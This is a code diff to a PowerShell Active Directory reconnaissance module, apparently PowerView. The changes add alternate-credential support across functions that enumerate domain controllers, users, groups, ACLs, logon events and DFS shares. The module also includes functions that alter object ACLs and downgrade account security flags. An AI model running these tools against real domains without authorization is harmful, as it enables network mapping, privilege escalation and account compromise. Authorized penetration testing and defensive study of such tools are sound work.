Get-NetForestCatalog { <# .SYNOPSIS @@ -1883,28 +1885,34 @@ function Get-NetForestCatalog { The forest name to query domain for. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetForestCatalog #> - - [CmdletBinding()] + param( [Parameter(ValueFromPipeline=$True)] [String] - $Forest + $Forest, + + [Management.Automation.PSCredential] + $Credential ) - process { - $ForestObject = Get-NetForest -Forest $Forest - if($ForestObject) { - $ForestObject.FindAllGlobalCatalogs() - } + $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential + + if($ForestObject) { + $ForestObject.FindAllGlobalCatalogs() } } -function Get-NetDomainController { +filter Get-NetDomainController { <# .SYNOPSIS @@ -1922,9 +1930,28 @@ function Get-NetDomainController { Switch. Use LDAP queries to determine the domain controllers. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetDomainController -Domain 'test.local' + + Determine the domain controllers for 'test.local'. + + .EXAMPLE + + PS C:\> Get-NetDomainController -Domain 'test.local' -LDAP + + Determine the domain controllers for 'test.local' using LDAP queries. + .EXAMPLE - PS C:\> Get-NetDomainController -Domain test + PS C:\> 'test.local' | Get-NetDomainController + + Determine the domain controllers for 'test.local'. #> [CmdletBinding()] @@ -1937,20 +1964,20 @@ function Get-NetDomainController { $DomainController, [Switch] - $LDAP + $LDAP, + + [Management.Automation.PSCredential] + $Credential ) - process { - if($LDAP -or $DomainController) { - # filter string to return all domain controllers - Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' - } - else { - $FoundDomain = Get-NetDomain -Domain $Domain - - if($FoundDomain) { - $Founddomain.DomainControllers - } + if($LDAP -or $DomainController) { + # filter string to return all domain controllers + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + else { + $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential + if($FoundDomain) { + $Founddomain.DomainControllers } } } @@ -2012,6 +2039,11 @@ function Get-NetUser { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetUser -Domain testing @@ -2021,9 +2053,8 @@ function Get-NetUser { PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local" #> - [CmdletBinding()] param( - [Parameter(ValueFromPipeline=$True)] + [Parameter(Position=0, ValueFromPipeline=$True)] [String] $UserName, @@ -2053,12 +2084,15 @@ function Get-NetUser { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { # so this isn't repeated if users are passed on the pipeline - $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize + $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential } process { @@ -2395,6 +2429,11 @@ function Get-UserProperty { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-UserProperty -Domain testing @@ -2426,22 +2465,25 @@ function Get-UserProperty { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) if($Properties) { # extract out the set of all properties for each object $Properties = ,"name" + $Properties - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -Property $Properties + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties } else { # extract out just the property names - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' } } -function Find-UserField { +filter Find-UserField { <# .SYNOPSIS @@ -2476,6 +2518,11 @@ function Find-UserField { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Find-UserField -SearchField info -SearchTerm backup @@ -2503,16 +2550,17 @@ function Find-UserField { [ValidateRange(1,10000)] [Int] - $PageSize = 200 - ) + $PageSize = 200, - process { - Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField - } + [Management.Automation.PSCredential] + $Credential + ) + + Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField } -function Get-UserEvent { +filter Get-UserEvent { <# .SYNOPSIS @@ -2534,7 +2582,12 @@ function Get-UserEvent { .PARAMETER DateStart Filter out all events before this date. Default: 5 days - + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local @@ -2545,6 +2598,7 @@ function Get-UserEvent { #> Param( + [Parameter(ValueFromPipeline=$True)] [String] $ComputerName = $Env:ComputerName, @@ -2553,7 +2607,10 @@ function Get-UserEvent { $EventType = "logon", [DateTime] - $DateStart=[DateTime]::Today.AddDays(-5) + $DateStart = [DateTime]::Today.AddDays(-5), + + [Management.Automation.PSCredential] + $Credential ) if($EventType.ToLower() -like "logon") { @@ -2566,8 +2623,25 @@ function Get-UserEvent { [Int32[]]$ID = @(4624, 4768) } - #grab all events matching our filter for the specified host - Get-WinEvent -ComputerName $ComputerName -FilterHashTable @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart} -ErrorAction SilentlyContinue | ForEach-Object { + if($Credential) { + Write-Verbose "Using alternative credentials" + $Arguments = @{ + 'ComputerName' = $ComputerName; + 'Credential' = $Credential; + 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; + 'ErrorAction' = 'SilentlyContinue'; + } + } + else { + $Arguments = @{ + 'ComputerName' = $ComputerName; + 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; + 'ErrorAction' = 'SilentlyContinue'; + } + } + + # grab all events matching our filter for the specified host + Get-WinEvent @Arguments | ForEach-Object { if($ID -contains 4624) { # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) @@ -2763,7 +2837,7 @@ function Get-ObjectAcl { ) begin { - $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize # get a GUID -> name mapping if($ResolveGUIDs) { @@ -2783,12 +2857,13 @@ function Get-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { $Object = [adsi]($_.path) + if($Object.distinguishedname) { $Access = $Object.PsBase.ObjectSecurity.access $Access | ForEach-Object { - $_ | Add-Member NoteProperty 'ObjectDN' ($Object.distinguishedname[0]) + $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] if($Object.objectsid[0]){ $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value @@ -2813,7 +2888,7 @@ function Get-ObjectAcl { else { $_ } - } | Foreach-Object { + } | ForEach-Object { if($GUIDs) { # if we're resolving GUIDs, map them them to the resolved hash table $AclProperties = @{} @@ -3005,7 +3080,7 @@ function Add-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects $TargetDN = $_.Properties.distinguishedname @@ -3170,6 +3245,7 @@ function Invoke-ACLScanner { } | Where-Object { # check for any ACLs with SIDs > -1000 try { + # TODO: change this to a regex for speedup? [int]($_.IdentitySid.split("-")[-1]) -ge 1000 } catch {} @@ -3180,7 +3256,7 @@ function Invoke-ACLScanner { } -function Get-GUIDMap { +filter Get-GUIDMap { <# .SYNOPSIS @@ -3207,6 +3283,7 @@ function Get-GUIDMap { [CmdletBinding()] Param ( + [Parameter(ValueFromPipeline=$True)] [String] $Domain, @@ -3233,10 +3310,10 @@ function Get-GUIDMap { } catch { Write-Debug "Error in building GUID map: $_" - } + } } - $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize + $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential if ($RightsSearcher) { $RightsSearcher.filter = "(objectClass=controlAccessRight)" try { @@ -3306,6 +3383,10 @@ function Get-NetComputer { The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. + + .PARAMETER SiteName + + The AD Site name to search for computers. .PARAMETER Unconstrained @@ -3315,6 +3396,11 @@ function Get-NetComputer { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetComputer @@ -3381,17 +3467,23 @@ function Get-NetComputer { [String] $ADSpath, + [String] + $SiteName, + [Switch] $Unconstrained, [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - # so this isn't repeated if users are passed on the pipeline - $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + # so this isn't repeated if multiple computer names are passed on the pipeline + $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential } process { @@ -3419,8 +3511,13 @@ function Get-NetComputer { if($ServicePack) { $Filter += "(operatingsystemservicepack=$ServicePack)" } + if($SiteName) { + $Filter += "(serverreferencebl=$SiteName)" + } - $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)" + Write-Verbose "Get-NetComputer filter : '$CompFilter'" + $CompSearcher.filter = $CompFilter try { @@ -3496,6 +3593,11 @@ function Get-ADObject { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" @@ -3538,7 +3640,10 @@ function Get-ADObject { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) process { if($SID) { @@ -3546,7 +3651,7 @@ function Get-ADObject { try { $Name = Convert-SidToName $SID if($Name) { - $Canonical = Convert-NT4toCanonical -ObjectName $Name + $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical if($Canonical) { $Domain = $Canonical.split("/")[0] } @@ -3562,10 +3667,9 @@ function Get-ADObject { } } - $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if($ObjectSearcher) { - if($SID) { $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" } @@ -3642,6 +3746,11 @@ function Set-ADObject { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 @@ -3689,7 +3798,10 @@ function Set-ADObject { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) $Arguments = @{ @@ -3700,6 +3812,7 @@ function Set-ADObject { 'DomainController' = $DomainController 'Filter' = $Filter 'PageSize' = $PageSize + 'Credential' = $Credential } # splat the appropriate arguments to Get-ADObject $RawObject = Get-ADObject -ReturnRaw @Arguments @@ -3765,6 +3878,11 @@ function Invoke-DowngradeAccount { Switch. Unset the reversible encryption flag and force password reset flag. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS> Invoke-DowngradeAccount -SamAccountName jason @@ -3780,10 +3898,11 @@ function Invoke-DowngradeAccount { [CmdletBinding()] Param ( - [Parameter(Position=0,ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)] [String] $SamAccountName, + [Parameter(ParameterSetName = 'Name')] [String] $Name, @@ -3797,7 +3916,10 @@ function Invoke-DowngradeAccount { $Filter, [Switch] - $Repair + $Repair, + + [Management.Automation.PSCredential] + $Credential ) process { @@ -3807,6 +3929,7 @@ function Invoke-DowngradeAccount { 'Domain' = $Domain 'DomainController' = $DomainController 'Filter' = $Filter + 'Credential' = $Credential } # splat the appropriate arguments to Get-ADObject @@ -3868,6 +3991,11 @@ function Get-ComputerProperty { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-ComputerProperty -Domain testing @@ -3899,17 +4027,20 @@ function Get-ComputerProperty { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) if($Properties) { # extract out the set of all properties for each object $Properties = ,"name" + $Properties | Sort-Object -Unique - Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -Property $Properties + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties } else { # extract out just the property names - Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" + Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" } } @@ -3949,6 +4080,11 @@ function Find-ComputerField { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Find-ComputerField -SearchTerm backup -SearchField info @@ -3978,11 +4114,14 @@ function Find-ComputerField { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) process { - Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField } } @@ -4021,6 +4160,11 @@ function Get-NetOU { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetOU @@ -4037,7 +4181,13 @@ function Get-NetOU { PS C:\> Get-NetOU -GUID 123-... - Returns all OUs with linked to the specified group policy object. + Returns all OUs with linked to the specified group policy object. + + .EXAMPLE + + PS C:\> "*admin*","*server*" | Get-NetOU + + Get the full OU names for the given search terms piped on the pipeline. #> [CmdletBinding()] @@ -4063,11 +4213,14 @@ function Get-NetOU { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { if ($OUSearcher) { @@ -4079,16 +4232,21 @@ function Get-NetOU { $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" } - $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { - if ($FullData) { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties - } - else { - # otherwise just returning the ADS paths of the OUs - $_.properties.adspath + try { + $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just returning the ADS paths of the OUs + $_.properties.adspath + } } } + catch { + Write-Warning $_ + } } } } @@ -4128,6 +4286,11 @@ function Get-NetSite { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetSite -Domain testlab.local -FullData @@ -4158,11 +4321,18 @@ function Get-NetSite { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize + if(!$Domain) { + $Domain = Get-NetDomain -Credential $Credential + } + + $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize } process { if($SiteSearcher) { @@ -4225,6 +4395,11 @@ function Get-NetSubnet { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetSubnet @@ -4258,11 +4433,18 @@ function Get-NetSubnet { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize + if(!$Domain) { + $Domain = Get-NetDomain -Credential $Credential + } + + $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize } process { @@ -4390,6 +4572,11 @@ function Get-NetGroup { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetGroup @@ -4444,11 +4631,14 @@ function Get-NetGroup { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { @@ -4461,7 +4651,7 @@ function Get-NetGroup { if ($UserName) { # get the raw user object - $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize + $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize # convert the user to a directory entry $UserDirectoryEntry = $User.GetDirectoryEntry() @@ -4469,14 +4659,14 @@ function Get-NetGroup { # cause the cache to calculate the token groups for the user $UserDirectoryEntry.RefreshCache("tokenGroups") - $UserDirectoryEntry.TokenGroups | Foreach-Object { + $UserDirectoryEntry.TokenGroups | ForEach-Object { # convert the token group sid $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value # ignore the built in users and default domain user group if(!($GroupSid -match '^S-1-5-32-545|-513$')) { if($FullData) { - Get-ADObject -SID $GroupSid -PageSize $PageSize + Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential } else { if($RawSids) { @@ -4565,6 +4755,11 @@ function Get-NetGroupMember { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetGroupMember @@ -4592,7 +4787,7 @@ function Get-NetGroupMember { $SID, [String] - $Domain = (Get-NetDomain).Name, + $Domain, [String] $DomainController, @@ -4611,15 +4806,22 @@ function Get-NetGroupMember { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) begin { # so this isn't repeated if users are passed on the pipeline - $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize if(!$DomainController) { - $DomainController = ((Get-NetDomain).PdcRoleOwner).Name + $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name + } + + if(!$Domain) { + $Domain = Get-NetDomain -Credential $Credential } } @@ -4630,15 +4832,15 @@ function Get-NetGroupMember { if ($Recurse -and $UseMatchingRule) { # resolve the group to a distinguishedname if ($GroupName) { - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize } elseif ($SID) { - $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize } else { # default to domain admins - $SID = (Get-DomainSID -Domain $Domain) + "-512" - $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize + $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" + $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize } $GroupDN = $Group.distinguishedname $GroupFoundName = $Group.name @@ -4663,7 +4865,7 @@ function Get-NetGroupMember { } else { # default to domain admins - $SID = (Get-DomainSID -Domain $Domain) + "-512" + $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512" $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } @@ -4736,12 +4938,7 @@ function Get-NetGroupMember { if($Properties) { - if($Properties.samaccounttype -notmatch '805306368') { - $IsGroup = $True - } - else { - $IsGroup = $False - } + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype if ($FullData) { $GroupMember = Convert-LDAPProperty -Properties $Properties @@ -4795,7 +4992,12 @@ function Get-NetGroupMember { # if we're doing manual recursion if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize + if($FullData) { + Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + } + else { + Get-NetGroupMember -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + } } } @@ -4828,6 +5030,11 @@ function Get-NetFileServer { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetFileServer @@ -4854,7 +5061,10 @@ function Get-NetFileServer { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) function SplitPath { @@ -4869,13 +5079,13 @@ function Get-NetFileServer { } } - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Where-Object {$_} | Where-Object { + Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object { # filter for any target users if($TargetUsers) { $TargetUsers -Match $_.samAccountName } else { $True } - } | Foreach-Object { + } | ForEach-Object { # split out every potential file server path if($_.homedirectory) { SplitPath($_.homedirectory) @@ -4920,16 +5130,21 @@ function Get-DFSshare { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-DFSshare - + Returns all distributed file system shares for the current domain. .EXAMPLE PS C:\> Get-DFSshare -Domain test - + Returns all distributed file system shares for the 'test' domain. #> @@ -4950,9 +5165,191 @@ function Get-DFSshare { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) + function Parse-Pkt { + [CmdletBinding()] + param( + [byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + #Write-Host "Element Count: " $blob_element_count + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + #Write-Host "Blob name size: " $blob_name_size + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + #Write-Host "Blob Name: " $blob_name + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + #Write-Host "blob data size: " $blob_data_size + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + #write-host "Prefix: " $prefix + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + #write-host "Short Prefix: " $short_prefix + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + #write-host $type + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + #write-host $state + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + #Write-Host $comment + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + #write-host $version + if ($version -ne 3) + { + #write-host "error" + } + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + #write-host $dfs_targetlist_blob_size + 